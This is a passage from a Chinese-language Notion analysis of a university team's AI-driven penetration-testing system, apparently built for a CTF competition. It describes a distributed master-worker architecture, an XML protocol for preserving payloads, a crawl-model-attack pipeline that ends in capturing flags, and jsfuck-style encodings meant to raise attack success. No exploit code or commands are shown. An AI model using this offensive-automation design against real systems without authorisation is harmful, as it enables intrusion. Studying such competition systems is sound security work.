class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e38eaac4d2a97d4caa" title="Master-Worker模式"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Master-Worker模式</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c814ca4b1dc49721881ec"><b>设计理念：</b></div><div class="notion-text notion-block-30a0f0c5b87c8151ab66dc00a2b81b8d"><b>传统单机架构问题：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8132b68fddff06c15147"><li>CPU限制、内存限制、网络带宽限制、算力瓶颈</li></ul><div class="notion-text notion-block-30a0f0c5b87c81dfbcdecf8eff6381ec"><b>西交的分布式方案：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8119a2ddd2546823bf77" data-id="30a0f0c5b87c8119a2ddd2546823bf77"><span><div id="30a0f0c5b87c8119a2ddd2546823bf77" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8119a2ddd2546823bf77" title="优势分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">优势分析</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81158233d3f0c543b5a9" style="list-style-type:decimal"><li><b>水平扩展能力</b> - 需要更多算力？增加Worker节点即可</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c812a8673c26407464210" style="list-style-type:decimal"><li><b>高可用性</b> - 某个Worker故障？其他Worker继续工作</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81aa9255f3230c229c8e" style="list-style-type:decimal"><li><b>负载均衡</b> - Master智能分配，避免某个Worker过载</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a0a0fafb23885cdca7" style="list-style-type:decimal"><li><b>任务解耦</b> - 任务管理与执行分离，各自独立优化</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f8b802c3fe0e31460c" data-id="30a0f0c5b87c81f8b802c3fe0e31460c"><span><div id="30a0f0c5b87c81f8b802c3fe0e31460c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f8b802c3fe0e31460c" title="核心创新：XML强类型协议"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：XML强类型协议</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ee8d71eb32b11cd7e2" data-id="30a0f0c5b87c81ee8d71eb32b11cd7e2"><span><div id="30a0f0c5b87c81ee8d71eb32b11cd7e2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ee8d71eb32b11cd7e2" title="为什么用XML？"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">为什么用XML？</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8108949cfa048c2dad87"><b>传统JSON的问题：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814ebadde5c486ef3686"><li>特殊字符需要转义</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817b9e5de404d45b1474"><li>嵌套结构容易混乱</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811b976beb08fe634638"><li>类型不明确</li></ul><div class="notion-text notion-block-30a0f0c5b87c81c48363ecb57254e9d9"><b>XML的解决方案：</b></div><div class="notion-text notion-block-30a0f0c5b87c817795b8e02f0fe39451"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81efbbc2d11dbe65be4b"><li>✅ 特殊字符无需转义</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81868f2ffdec32753c2c"><li>✅ 结构清晰</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8158a099e6867f880322"><li>✅ 强类型约束</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8160bf3acb819423991a"><li>✅ 完美解决Payload冲突</li></ul><div class="notion-text notion-block-30a0f0c5b87c81db9078f53a24ddc739"><b>权衡考虑：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fe975ec622cd60fa39"><li>⚠️ 文件体积更大（Token消耗增加 20-30%）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811daec8d1626fd5d295"><li>⚠️ 解析速度略慢于JSON</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817e8b57c21e4e10e922"><li>⚠️ 现代工具链对JSON支持更好</li></ul><div class="notion-text notion-block-30a0f0c5b87c81eb84aad631690d7f28"><b>结论：</b> 在攻击场景下，Payload正确性 &gt; 传输效率，因此选择XML</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8111a196f5b515f2890e" data-id="30a0f0c5b87c8111a196f5b515f2890e"><span><div id="30a0f0c5b87c8111a196f5b515f2890e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8111a196f5b515f2890e" title="通信流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">通信流程</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81f09f9dceafdf79283e"><b>清晰、稳定、不易出错！</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c815fb612d47587e47edb" data-id="30a0f0c5b87c815fb612d47587e47edb"><span><div id="30a0f0c5b87c815fb612d47587e47edb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c815fb612d47587e47edb" title="核心创新：三阶段流水线"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：三阶段流水线</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81a6845eebac50f383e6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn04_three_stage_pipeline-20260217113443-gwgdvge.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81a6-845e-ebac50f383e6" alt="生成图片 - 三阶段流水线处理（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81dcadbef6412bf0022b">生成图片 - 三阶段流水线处理（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81508eb4e1832abef9e6" data-id="30a0f0c5b87c81508eb4e1832abef9e6"><span><div id="30a0f0c5b87c81508eb4e1832abef9e6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81508eb4e1832abef9e6" title="阶段1: 页面探索 (Page Exploration)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">阶段1: 页面探索 (Page Exploration)</span></span></h4><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f19a33d1a5150c944c"><li>爬取网站结构</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b981d7f0509b980b88"><li>识别所有URL</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8135a3ecf0125a68699f"><li>分析页面类型</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a7b142fa9f8a2a93fe"><li>提取表单和参数</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813f909cf0b93e9388f4" data-id="30a0f0c5b87c813f909cf0b93e9388f4"><span><div id="30a0f0c5b87c813f909cf0b93e9388f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813f909cf0b93e9388f4" title="阶段2: 场景塑造 (Scene Modeling)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">阶段2: 场景塑造 (Scene Modeling)</span></span></h4><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81019d61fbdb9693eead"><li>分析业务逻辑</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818d974ae28f4e6147fd"><li>识别数据流</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ed9850ec88991d0a84"><li>构建攻击图</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818696b2f0e9b028c020"><li>规划攻击路径</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8182b8dde7305c096d4a" data-id="30a0f0c5b87c8182b8dde7305c096d4a"><span><div id="30a0f0c5b87c8182b8dde7305c096d4a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8182b8dde7305c096d4a" title="阶段3: 漏洞检测 (Vulnerability Detection)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">阶段3: 漏洞检测 (Vulnerability Detection)</span></span></h4><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814ebadcff361f7412e2"><li>发送攻击请求</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812aaf61ed903975d331"><li>分析响应</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81789446dcc94781a1e9"><li>验证漏洞存在</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f19bacced1b452217c"><li>获取Flag</li></ul><div class="notion-text notion-block-30a0f0c5b87c81099c47d3aeb83a66a7"><b>流水线价值：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815ea601f9a1d5a6877b" style="list-style-type:decimal"><li>标准化流程 - 每个阶段职责明确</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c819896a8c661f1125101" style="list-style-type:decimal"><li>可复用性 - 每个阶段可独立优化</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8113a9f3ce4b5b485f8c" style="list-style-type:decimal"><li>可扩展性 - 容易添加新阶段</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813e85e8d2f4426f4eaa" data-id="30a0f0c5b87c813e85e8d2f4426f4eaa"><span><div id="30a0f0c5b87c813e85e8d2f4426f4eaa" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813e85e8d2f4426f4eaa" title="核心创新：底层工具封装"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：底层工具封装</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8131a841e13cb88b592b" data-id="30a0f0c5b87c8131a841e13cb88b592b"><span><div id="30a0f0c5b87c8131a841e13cb88b592b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8131a841e13cb88b592b" title="urllib底层库"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">urllib底层库</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81c9a201eccad6a60053"><b>为什么不用requests？</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814c9cb0f4caa7ab265e"><li>requests: 自动编码可能干扰攻击流量、自动处理可能改变Payload、不可控的自动重定向</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817cb731d4c2329220e8"><li>urllib: 完全控制请求、精确构造攻击流量、避免自动干扰</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81569d9ee53259e46ee9" data-id="30a0f0c5b87c81569d9ee53259e46ee9"><span><div id="30a0f0c5b87c81569d9ee53259e46ee9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81569d9ee53259e46ee9" title="复杂编码模板"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">复杂编码模板</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8119a203d4a4c324505d"><b>jsfuck等编码集成到Prompt：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a8847ad788105e881d"><li>避免自动编码干扰</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8142aeb3f62d1122deb0"><li>精确控制攻击流量</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81dc8dd1fc40d69224a3"><li>提升攻击成功率</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8109ace6ed68993b8c29" data-id="30a0f0c5b87c8109ace6ed68993b8c29"><span><div id="30a0f0c5b87c8109ace6ed68993b8c29" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8109ace6ed68993b8c29" title="排名分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名分析</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8132a128c6c84f19ee1f" data-id="30a0f0c5b87c8132a128c6c84f19ee1f"><span><div id="30a0f0c5b87c8132a128c6c84f19ee1f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8132a128c6c84f19ee1f" title="优势 ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">优势 ✅</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c811e9210f3f2cb7727fc" style="list-style-type:decimal"><li><b>分布式架构</b> - 算力强大、可扩展性好、适合大规模任务</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8102aedae925776e920e" style="list-style-type:decimal"><li><b>工程化完善</b> - XML协议稳定、流水线清晰、工具封装专业</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816cb89ae485ac550de0" style="list-style-type:decimal"><li><b>技术深度</b> - 底层控制精确、避免自动干扰、攻击质量高</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c817da6f7f4ad9f87bb3e" data-id="30a0f0c5b87c817da6f7f4ad9f87bb3e"><span><div id="30a0f0c5b87c817da6f7f4ad9f87bb3e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817da6f7f4ad9f87bb3e" title="劣势 ⚠️"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">劣势 ⚠️</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8185b513ffc5040e204b" style="list-style-type:decimal"><li><b>复杂度高</b> - 分布式架构难以维护、XML协议学习成本高</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81dbbbd9e90c154a62a4" style="list-style-type:decimal"><li><b>灵活性不足</b> - 标准化流程可能不够灵活、难以应对未知场景</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8162b53ac2035be288e3" style="list-style-type:decimal"><li><b>与冠军的差距</b> - 长亭的”代码规划”更精确、控制粒度更细、DSPy框架更先进</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f3bbcfc687fbe45e61" data-id="30a0f0c5b87c81f3bbcfc687fbe45e61"><span><div id="30a0f0c5b87c81f3bbcfc687fbe45e61" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f3bbcfc687fbe45e61" title="vs 长亭外（冠军）对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">vs 长亭外（冠军）对比</span></span></h4><table class="notion-simple-table notion-block-30a0f0c5b87c81b2a247dcfaf9f4995e"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81fcb045dc07778e1725"><td class="" style="width:120px"><div class="notion-simple-table-cell">维度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">西安交大</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">长亭外</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81678a98d79dc6c7b294"><td class="" style="width:120px"><div class="notion-simple-table-cell">核心创新</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">分布式+XML</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码规划(DSPy)</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c28f73c4b01f476fa3"><td class="" style="width:120px"><div class="notion-simple-table-cell">架构复杂度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">极高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">高</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c816a8bd3e547c7e96bf6"><td class="" style="width:120px"><div class="notion-simple-table-cell">控制粒度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">细</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">极细</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c818aadcde089426cfb6b"><td class="" style="width:120px"><div class="notion-simple-table-cell">灵活性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">低</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">中</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81caa0abe658bf60905f"><td class="" style="width:120px"><div class="notion-simple-table-cell">扩展性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">极强</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">强</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8103bf8fc62e816667ef"><td class="" style="width:120px"><div class="notion-simple-table-cell">工程化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完善</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完善</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c812a97ecd723b10235ae"><b>差距分析：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c814281c0e9242f2e91dd" style="list-style-type:decimal"><li><b>代码规划的精确性</b> - Python更灵活、更直观</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816d8b0bdf24189a7250" style="list-style-type:decimal"><li><b>流水线 vs 代码生成</b> - 代码生成更动态</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81009ed2fcee8e67818f" style="list-style-type:decimal"><li><b>分布式 vs 单机高性能</b> - CTF场景下单机足够，精确控制更重要</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81cbbe18e1ac9b9c4a3d" data-id="30a0f0c5b87c81cbbe18e1ac9b9c4a3d"><span><div id="30a0f0c5b87c81cbbe18e1ac9b9c4a3d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81cbbe18e1ac9b9c4a3d" title="适用场景"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">适用场景</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c815dbbf4cc39e530b743"><b>最适合的场景 ✅✅✅：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cdb92afc2582832841"><li>大规模渗透测试（需要同时测试大量目标）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81368399cd71a9888bd7"><li>企业级SaaS平台（需要高可用性、水平扩展）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810bb899fbd079acfab7"><li>长期运营项目（复杂架构的维护成本可以接受）</li></ul><div class="notion-text 